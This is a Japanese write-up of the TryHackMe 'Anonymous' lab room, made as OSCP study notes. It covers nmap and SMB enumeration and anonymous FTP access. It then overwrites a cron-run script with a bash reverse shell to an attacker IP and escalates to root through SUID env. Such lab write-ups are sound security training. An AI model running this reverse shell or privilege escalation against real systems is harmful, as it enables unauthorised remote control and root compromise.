はじめに
OSCP合格に向けて着手しているTryHackMeのwriteup兼備忘録になります。
今回は難易度がMediumである「Anonymous」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。
Task1
こちらは6つのサブタスクで構成されています。
Enumerate the machine. How many ports are open?
ポートスキャンを実施します。
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.216.139
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-23 03:53 EDT
Nmap scan report for 10.10.216.139
Host is up (0.25s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 26.94 seconds
答えは「4」になります。
What service is running on port 21?
21ポートは「ftp」になります。
What service is running on ports 139 and 445?
オプションに「-A」をつけて再度ポートスキャンを実施します。
┌──(kali㉿kali)-[~]
└─$ nmap -A -p 139,445 10.10.216.139
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-23 03:57 EDT
Nmap scan report for 10.10.216.139
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: anonymous
| NetBIOS computer name: ANONYMOUS\x00
| Domain name: \x00
| FQDN: anonymous
|_ System time: 2023-09-23T07:58:01+00:00
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2-time:
| date: 2023-09-23T07:58:01
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.59 seconds
答えは「smb」になります。
There's a share on the user's computer. What's it called?
smbclientコマンドを使用してアクセスします。
┌──(kali㉿kali)-[~]
└─$ smbclient -L 10.10.216.139
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
pics Disk My SMB Share Directory for Pics
IPC$ IPC IPC Service (anonymous server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP ANONYMOUS
答えは「pics」になります。
user.txt
先ほど確認した「pics」フォルダへsmbclientを使用してアクセスします。
┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.216.139/pics
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun May 17 07:11:34 2020
.. D 0 Wed May 13 21:59:10 2020
corgo2.jpg N 42663 Mon May 11 20:43:42 2020
puppos.jpeg N 265188 Mon May 11 20:43:42 2020
20508240 blocks of size 1024. 13306780 blocks available
smb: \>
getコマンドで画像をローカル環境に落としましたが、特に何も無さそうです。
続いてftpにanonymousでログインします。
┌──(kali㉿kali)-[~]
└─$ ftp anonymous@10.10.216.139
Connected to 10.10.216.139.
220 NamelessOne's FTP Server!
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ログインしファイルを探索していたところ、「scripts」フォルダを確認しました。
ftp> ls
229 Entering Extended Passive Mode (|||29041|)
150 Here comes the directory listing.
drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts
226 Directory send OK.
ftp>
ftp> cd scripts
250 Directory successfully changed.
ftp>
ftp> ls
229 Entering Extended Passive Mode (|||62651|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-rw-r-- 1 1000 1000 4042 Sep 29 14:21 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
ftp>
そのフォルダ内のテキストファイルには特にヒントは無さそうでした。
次に「clean.sh」と「removed_files.log」を確認したところ「clean.sh」の実行結果が「removed_files.log」に出力されることが分かります。
また「removed_files.log」より、cronによって定期的に「clean.sh」が実行されていると推測できます。
その為「clean.sh」を下記スクリプトに書き換え、定期実行によってリバースシェルを作動させます。
#!/bin/bash
bash -i >& /dev/tcp/10.6.71.140/4444 0>&1
ftp> put clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||58457|)
150 Ok to send data.
100% |********************************| 54 1.32 MiB/s 00:00 ETA
226 Transfer complete.
54 bytes sent in 00:00 (0.10 KiB/s)
ftp>
攻撃側端末のコマンドプロンプトにてnetcatを実行し、先ほどのスクリプトによる通信を待ち受けます。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.6.71.140] from (UNKNOWN) [10.10.216.139] 45742
bash: cannot set terminal process group (1953): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$
無事接続が成功したら、最初のフラグ獲得になります。
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
root.txt
普段使用する「sudo -l」だと特に何も得られませんでした。
次に下記コマンドを使用して、rootが所有していてかつ、SUIDの設定があるファイルを探します。
SUIDの設定されたファイルは、どのユーザが実行した場合においても所有者が実行された状態となります。
つまり所有者がrootであるファイルをどうにか実行できれば、rootが実行した状態となりフラグ獲得が可能になります。
namelessone@anonymous:~$ find / -user root -perm -u=s 2>/dev/null
find / -user root -perm /4000 2>/dev/null
/usr/bin/passwd
/usr/bin/env
GTFOBinsを参考に下記の通りenvコマンドを実行すると、rootとして実行された状態になり、さらに任意のコマンドを使用することが出来ます。
namelessone@anonymous:~$ env /bin/sh -p
env /bin/sh -p
whoami
root
これにて最後のフラグ獲得になります。
cat root/root.txt
さいごに
以上となります。
userのフラグまでは概ね初見でも取得できるようになりましたが、権限昇格は未だ初見では解けない場合があるので、引き続きRoomを攻略して知見を広げていきたいです。